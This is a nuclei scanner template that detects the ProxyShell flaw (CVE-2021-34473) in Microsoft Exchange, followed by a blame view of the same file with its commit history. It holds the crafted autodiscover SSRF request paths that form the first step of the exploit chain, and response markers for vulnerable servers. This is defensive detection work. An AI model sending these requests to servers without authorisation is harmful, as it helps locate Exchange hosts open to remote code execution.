nuclei-templates/cves/2021/CVE-2021-34473.yaml

id: CVE-2021-34473

info:
  name: Exchange Server - Remote Code Execution
  author: arcc,intx0x80,dwisiswant0,r3dg33k
  severity: critical
  description: |
    Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
    - https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
    - https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34473
  remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version.
  tags: cve,cve2021,ssrf,rce,exchange

requests:
  - method: GET
    path:
      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'

    matchers:
      - type: word
        part: body
        condition: or
        words:
          - "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException"
          - "Exchange MAPI/HTTP Connectivity Endpoint"

# Enhanced by mp on 2022/05/02
add ProxyShell detection template 2021-08-10 07:59:06 +00:00			`id: CVE-2021-34473`

			`info:`
Dashboard Content Enhancements (#4289) Dashboard content enhancements. 2022-05-02 21:50:47 +00:00			`name: Exchange Server - Remote Code Execution`
minor update 2021-08-12 16:39:42 +00:00			`author: arcc,intx0x80,dwisiswant0,r3dg33k`
add ProxyShell detection template 2021-08-10 07:59:06 +00:00			`severity: critical`
			`description: \|`
Dashboard Content Enhancements (#4289) Dashboard content enhancements. 2022-05-02 21:50:47 +00:00			`Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-19 13:59:12 +00:00			`reference:`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473`
			`- https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html`
			`- https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1`
Dashboard Content Enhancements (#4289) Dashboard content enhancements. 2022-05-02 21:50:47 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-34473`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-34473`
Dashboard Content Enhancements (#4289) Dashboard content enhancements. 2022-05-02 21:50:47 +00:00			`remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,ssrf,rce,exchange`
add ProxyShell detection template 2021-08-10 07:59:06 +00:00
			`requests:`
			`- method: GET`
			`path:`
add second url for more stable detection 2021-08-10 08:17:37 +00:00			`- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'`
follow redirect, compare body instead of status code, eliminate false positives 2021-08-10 08:53:58 +00:00			`- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'`
add ProxyShell detection template 2021-08-10 07:59:06 +00:00
			`matchers:`
follow redirect, compare body instead of status code, eliminate false positives 2021-08-10 08:53:58 +00:00			`- type: word`
			`part: body`
minor update 2021-08-12 16:39:42 +00:00			`condition: or`
follow redirect, compare body instead of status code, eliminate false positives 2021-08-10 08:53:58 +00:00			`words:`
minor update 2021-08-12 16:39:42 +00:00			`- "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException"`
Dashboard Content Enhancements (#4289) Dashboard content enhancements. 2022-05-02 21:50:47 +00:00			`- "Exchange MAPI/HTTP Connectivity Endpoint"`

			`# Enhanced by mp on 2022/05/02`